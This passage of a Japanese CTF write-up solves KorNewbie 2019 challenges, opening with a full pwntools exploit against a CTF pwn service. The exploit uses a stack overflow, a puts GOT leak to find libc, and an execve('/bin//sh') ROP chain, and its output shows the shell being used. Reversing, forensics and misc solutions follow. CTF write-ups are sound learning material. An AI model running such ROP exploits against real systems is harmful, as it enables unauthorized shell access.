0028| 0xffffd60c ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377\a\337\377\377"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41413741 in ?? ()
gdb-peda$ LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
Undefined command: "LA".  Try "help".
gdb-peda$ patto 0x41413741
1094793025 found at offset: 104
gdb-peda$ 

104文字目でオーバーフローすることが分かりました。

次に、libcのベースアドレスを求めます。 一度バッファオーバーフローを起こし、puts関数を利用して、putsのGOTのアドレスを表示させるようにします。 リークさせたアドレスから、libcにあるputs関数のオフセットを引けば、libcのベースアドレスを求めることができます。 また、リーク後に再度main関数を呼び出すことで、再度入力が可能な状態にすることができます。 以下のようなスクリプトを作成して、libcのベースアドレスを求めるようにしました。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def exploit(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、libcのベースアドレス（0xf755c000）が取得できます。

$ python exploit2.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf75bb140
[*] lobc_base: 0xf755c000
[*] Switching to interactive mode
�@EW� dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
$

最後に、シェルを起動するためのROPチェインを作成します。

$ ROPgadget --binary ./libc.so.6 --ropchain

# 省略

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x7c63c mov dword ptr [esi], ebx ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [+] Gadget found: 0x18395 pop ebx ; ret
        [-] Can't find the 'xor ebx, ebx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x11d0ab mov dword ptr [edx], esi ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [-] Can't find the 'xor esi, esi' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x3ccd8 mov dword ptr [edx], ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x130394 mov dword ptr [edx], ecx ; pop ebx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x6b34b mov dword ptr [edx], eax ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x23f97 pop eax ; ret
        [+] Gadget found: 0x2c5fc xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x2c5fc xor eax, eax ; ret
        [+] Gadget found: 0x7eec inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x18395 pop ebx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x2c87 int 0x80

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0044) # @ .data + 4
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00018395) # pop ebx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x000b4047) # pop ecx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00002c87) # int 0x80

ROPチェインが作成できました。後は、少し調整してスクリプトに落とし込むだけです。 最終的なスクリプトは、以下のようになります。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def leak_libc_base(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))
    return libc_base

def exploit(con, elf, libc, rop):
    libc_base = leak_libc_base(con, elf, libc, rop)

    offset = 104
    payload = b"A" * offset
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'/bin'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0044) # @ .data + 4
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'//sh'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00018395) # pop ebx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x000b4047) # pop ecx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00002c87) # int 0x80

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行するとシェルが取れ、フラグを表示させることができました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf7674140
[*] lobc_base: 0xf7615000
[*] Switching to interactive mode
$ id
uid=1000(drop_the_beat) gid=1000(drop_the_beat) groups=1000(drop_the_beat)
$ cat /home/drop_the_beat/flag
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}
$

FLAG

KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}

BABYREV（Reversing）

問題

암호화 프로그램을 가지고 중요한 기밀을 암호화 하였는데 복호화 프로그램을 만들지 못하겠어! 나를 도와 주겠니?

I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me?

Author: 윤재형

添付ファイル

• babyrev.exe
• enc.txt

解答例

まずは、fileコマンドを実行してみます。 64bitのPEファイルのようです。

$ file babyrev.exe
babyrev.exe: PE32+ executable (console) x86-64, for MS Windows

実際に実行してみて動作を確かめてみます。 コマンドライン引数にflag.txtを指定すると、同じサイズのenc.txtが出力されました。

PS> .\babyrev.exe
./babyrev (file)
PS> echo -n "KorNewbie{TEST_TEST}" > flag.txt
PS> (Get-ChildItem .\flag.txt).Length
46
PS> .\babyrev.exe .\flag.txt
size =46
enc.txt
PS> type .\enc.txt
久ﾞv孥ｪv$v@vPvv$v8vIv・俿Iv<vIv・俿Ivｰvkvﾜv

次にGhidraで開いてみます。 68~73行目辺りの処理をみてみると、1文字ずつエンコードしているように見えます。

1文字ずつエンコードしているので、総当たりでフラグを求められそうです。 以下のようなスクリプトを作成しました。

import subprocess
import string

def main():
    with open("original/enc.txt", "rb") as f:
        orig_enc_txt = f.readline()
    
    size = len(orig_enc_txt)

    flag = ["A"] * size
    for i in range(size):
        for ch in string.printable:
            flag[i] = ch
            with open("flag.txt", "w") as f:
                f.write("".join(flag))
    
            subprocess.run(["babyrev.exe", "flag.txt"], stdout=subprocess.DEVNULL)

            with open("enc.txt", "rb") as f:
                enc_txt = f.readline()
    
            if orig_enc_txt[i] == enc_txt[i]:
                print("".join(flag))
                break

if __name__ == "__main__":
    main()

実行すると、フラグが1文字ずつ出力されていきます。

PS> python3 .\solve.py
kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
koAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbiAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbieAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{AAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{bAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{baAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8AAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8yAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_AAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_reAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_revAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_AAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_iAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$AAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_AAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_vAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_verAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veryAAAAAAAAAA
korNewbie{ba8y_rev_i$_very_AAAAAAAAA
korNewbie{ba8y_rev_i$_very_VAAAAAAAA
korNewbie{ba8y_rev_i$_very_VeAAAAAAA
korNewbie{ba8y_rev_i$_very_VerAAAAAA
korNewbie{ba8y_rev_i$_very_VeryAAAAA
korNewbie{ba8y_rev_i$_very_Very_AAAA
korNewbie{ba8y_rev_i$_very_Very_eAAA
korNewbie{ba8y_rev_i$_very_Very_eZAA
korNewbie{ba8y_rev_i$_very_Very_eZ!A
korNewbie{ba8y_rev_i$_very_Very_eZ!}

FLAG

korNewbie{ba8y_rev_i$_very_Very_eZ!}

S_@_X（Reversing）

問題

What is sgx?
Author: BabyREV

添付ファイル

• app
• enclave.signed.so

解答例

とりあえず、fileコマンドを実行してみました。64bitのPEファイルのようです。

$ file app enclave.signed.so
app:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fb10c93f82a3dc7a84fd2713311466b990a4b60a, for GNU/Linux 3.2.0, not stripped
enclave.signed.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec8ed4495507210dac46ccbdee2f5aa57741b4b2, not stripped

Ghidraでも開いてみました。 29~37行目を見てみると、add関数の戻り値を基にSucceedかfailを表示する処理が確認できます。

次にenclave.signed.soにあるadd関数内を見てみます。 この関数でフラグのチェックをしているようです。

if文を丁寧に読んでいくと、フラグを確認することができました。

FLAG

KorNewbie{aMd_i$_bEttEr_thaN_iNtel!}

REC（Forensic）

問題

REC? Kion vi celas?

添付ファイル

• REC.zip

解答例

REC.zip を展開すると、REC.exeが出てきました。 拡張子がexeなので、とりあえず、fileコマンドを打ってみます。

$ file REC.exe
REC.exe: data

次にバイナリエディタで開いてみました。 This program cannot be run in DOS modeと書かれているので、PEファイルのように見えますが、先頭のMZが見当たりません。

適当なPEファイルと見比べながら、PEヘッダを修正していきます。 単純に先頭の2バイトが足りていないだけでした。

修正して、ダブルクリックで実行してみるとエラーメッセージ表示されました（コンソールで実行すると何も表示されませんでした）。

libgcc_s_dw2-1.dllを用意して、実行するとフラグが表示されました。

PS> .\REC.exe
KorNewbie{Recover_Signature}

FLAG

KorNewbie{Recover_Signature}

Chat（Forensic）

問題

채팅을 통해 기밀정보가 오갔다. 해당 채팅을 사용한 사용자의 이메일을 찾으시오.
Confidential information came and went through chat. Find the email of the user who used the chat.
Flag: KorNewbie{email_address}
https://drive.google.com/open?id=1Gfz5e-rwDSz14MWPfhGBfKHqfAjPGVXX
https://web.jaeuk.xyz/chat/VM.zip
Author: 신재욱(Y311J)

解答例

今回の問題は、メールアドレスを探し出すことが目標のようです。

まず、問題文のリンクにアクセスすると、VM.zipがダウンロードできます。 VM.zipを展開すると、vmdkファイルが格納されていました。

ディスクイメージなので、Autopsyを使ってメールアドレスを探せそうです。 ただし、Autopsyは、vmdkファイルを読み出せないので、まずはraw形式に変換します。

以下のサイトを参考に変換しました。

zarat.hatenablog.com

以下のコマンドで変換できるようです。

PS> qemu-img.exe convert -f vmdk NewbieCTF2019_KakaoTalk.vmdk -O raw NewbieCTF2019_KakaoTalk.raw

Autopsyで開くと、703件のメールアドレスがヒットしていました。

地道に一つひとつ確認していると、怪しげなメールアドレス（renek@it-simple.net）を発見しました。 試しにフラグとして入力してみると、正解となりました。

FLAG

KorNewbie{renek@it-simple.net}

Discord（Misc）

問題

Come to our Official Discord!!
https://discord.gg/5hAk2WS

flag is in "RULES" Channel

解答例

Discordにアクセスして、#rulesチャンネルを開くと、フラグが書かれていました。

FLAG

KorNewbie{W31C0m3_t0_0ffiC14l_D1$C05d}

NC_MIC（Misc）

問題

Hello! I am NC mic!
"well..well.. What is the flag?"
Author: 신재욱(Y311J)
Flag type: KorNewbie{flag}
(Since this CTF was originally planned as a war game, the flag of this problem has 'wargame' written on it.)

nc prob.vulnerable.kr 20000

解答例

netcatで接続すると、フラグが表示されました。

$ nc prob.vulnerable.kr 20000
KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

FLAG

KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

Catch Me（Misc）

問題

Haha you can't see the string Author : Ez1o

添付ファイル

• Prob.gif

解答例

以下のgif画像が渡されました。黒丸が色々な座標に高速で移動しているように見えます。

ScreenToGifのエディタ機能を使って、gif画像をコマ送りで確認しました。

移動座標は、以下のようになっていました。

	行番号	列番号
1	11	9
2	4	8
3	11	9
4	9	5
5	10	1
6	5	2
7	11	3
8	4	9
9	10	1
10	9	5
11	5	1
12	12	1
13	5	1

少しエスパー気味ですが、行番号と列番号をつなげて10進数として読み取ることができ、アスキーコードに変換できそうです （例えば、行番号:11、列番号:9の場合、10進数の119として考え、wに変換できます）。

CyberChefで変換すると、以下のようになりました。

よって、KorNewbie{w0w_e4q1e_3y3}がフラグとなります。

FLAG

KorNewbie{w0w_e4q1e_3y3}

BiMilCode（Misc）

問題

Good Luck
nc prob.vulnerable.kr 20034
Author : Ez1o

解答例

netcatで接続すると、エンコードされた値が出てきました。 接続のたびに値が変わるようです。 また、3回だけ解答チャンスがあるようです。 間違えてしまった場合は、エンコード結果を表示してくれます。

aaaaaaaa と AAAAAAAA を入力してみると、以下のようになりました。

$ nc prob.vulnerable.kr 20034
==================================================
This is BiMilCode
I'll give you a chance to type 3 times.
Good Luck
# if you got it how to solve this problem type 0 .
==================================================
You can encode me? :  4c d1 5d 4a 2e 6b a0 3e 
Input : aaaaaaaa
8a b7 62 75 61 89 85 66 
you have 2 chance left.
Input : AAAAAAAA
6a 97 42 55 41 69 65 46 
you have 1 chance left.
Input : 

aaaaaaaaの場合、8a b7 62 75 61 89 85 66
AAAAAAAAの場合、6a 97 42 55 41 69 65 46 となりました。

それぞれ、同じ値（29 56 1 14 0 28 24 5）だけずれていることが分かります。

差分も接続のたびに代わってしまうので、一度\x00\x00\x00\x00\x00\x00\x00\x00 を送って、差分を求めれば良さそうです。 以下のようなスクリプトを作成しました。

from pwn import *

def main():
    con = remote("prob.vulnerable.kr", 20034)

    con.readuntil("You can encode me? :  ")
    enc = con.readline().decode("utf-8").strip().split(" ")
    log.info("enc: {}".format(enc))

    con.sendlineafter("Input : ", b"\x00" * 8)
    diff = con.readuntil("\n").decode("utf-8").strip().split(" ")
    log.info("diff: {}".format(diff))

    dec = ""
    for e, d in zip(enc, diff):
        dec += chr(int(e, 16) - int(d, 16))

    con.sendlineafter("Input : ", b"0")
    con.sendlineafter("Oh really? come on ! : ", dec)

    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが出力されました。

$ python solve.py 
[+] Opening connection to prob.vulnerable.kr on port 20034: Done
[*] enc: ['90', '70', '5f', '34', '84', 'ca', '79', '48']
[*] diff: ['1b', '1', 'e', '2', '15', '5a', '5', '2']
[*] Switching to interactive mode
You did it!
KorNewbie{Nace_I_believed_it}
[*] Got EOF while reading in interactive

FLAG

KorNewbie{Nace_I_believed_it}

Elecduino（Misc）

問題

과제로 만들어놓은 아두이노 회로도가 잠시 자리를 비운 사이 누군가 망쳐놓았다! 회로도를 복구하고 결과값을 얻어내라. circuits의 My work 가 문제파일이다.
Problem URL : https://www.tinkercad.com/users/dNMUsC3jcEB-?category=circuits&sort=likes&view_mode=default
결과값에 플래그 포멧은 존재하지 않는다.
While the homework Aduino circuit diagram is gone for a while, Someone ruined it! Restore the circuit diagram and get the result. problem file is My work
There is no flag format in the result
Good Luck !
Author : Ez1o

解答例

問題文のリンクにアクセスすると、Arduino UNO、スプレッドシート、LEDなどが色々つながった回路が表示されました。 Tinkercadと呼ばれる回路シミュレータサービスがあるようです。

色々ボタンをいじっていると、「コード」ボタンからArduinoのソースコードが出てきました。

以下、見つかったコードになります。

void setup()
{
  pinMode(13, OUTPUT);
}

void prob1(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob2(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob3(){
  digitalWrite(4, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(4, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob4(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob5(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob6(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob7(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob8(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob9(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob10(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob11(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob12(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob13(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob14(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob15(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob16(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob17(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob18(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob19(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}



void one(){
    prob6();
    prob5();
    prob2();
    prob12();
    prob14();
    prob18();
    prob15();
    prob7();
    prob3();
}

void two(){
    prob8();
    prob13();
    prob15();
    prob5();
    prob10();
    prob16();
    prob2();
    prob1();
    prob3();
}

void three(){
    prob1();
    prob6();
    prob5();
    prob7();
    prob8();
    prob12();
    prob9();
    prob2();
    prob3();
}

void four(){
    prob14();
    prob1();
    prob9();
    prob2();
    prob6();
    prob17();
    prob1();
    prob14();
    prob3();
}

void five(){
    prob1();
    prob5();
    prob2();
    prob7();
    prob14();
    prob17();
    prob1();
    prob10();
    prob3();
}

void six(){
    prob6();
    prob4();
    prob2();
    prob19();
    prob1();
    prob18();
    prob1();
    prob17();
    prob3();
}

void seven(){
    prob8();
    prob7();
    prob9();
    prob2();
    prob1();
    prob13();
    prob2();
    prob4();
    prob3();
}

void eight(){
    prob6();
    prob1();
    prob7();
    prob2();
    prob16();
    prob18();
    prob13();
    prob2();
}

void loop()
{
    one();
    two();
    three();
    four();
    five();
    six();
    seven();
    eight();
    delay(100000);
}

12、10、4番のピンを使い、それぞれをオンオフするような処理になっていました。 回路も見直してみると、必要のないものがたくさんあるようです。

少しシンプルになるように修正しました。

loop関数内のone関数以外をコメントアウトして、シミュレーションを開始してみました。

void loop()
{
    one();
    // two();
    // three();
    // four();
    // five();
    // six();
    // seven();
    // eight();
    delay(100000);
}

実行すると、青赤赤青青青赤赤黄となりました。 他の関数も確かめてみると、以下のようになりました。

1. 青赤赤青青青赤赤黄
2. 青赤赤赤青青赤青黄
3. 青青赤赤青青赤赤黄
4. 青青赤赤青赤青青黄
5. 青赤赤赤青赤青青黄
6. 青青赤赤青青青赤黄
7. 青赤赤赤青赤赤青黄
8. 青青赤赤青青赤赤

黄色は、最後にしか現れていないので、ターミネータとして扱われているようです。 青を0、赤を1に変換して2進数として考えると、アスキーコードに変換できそうです。

